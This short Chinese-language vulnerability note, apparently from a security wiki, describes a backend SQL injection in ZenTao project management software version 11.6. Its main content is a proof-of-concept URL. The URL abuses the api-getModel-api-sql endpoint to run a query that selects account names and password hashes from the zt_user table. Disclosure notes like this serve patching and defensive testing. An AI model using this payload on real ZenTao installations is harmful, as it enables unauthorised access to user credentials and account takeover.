禅道11.6后台SQL注入

影响范围¶

禅道 11.6

漏洞POC¶

Payload:

http://127.0.0.1/zentaopms/www/api-getModel-api-sql-sql=select+account,password+from+zt_user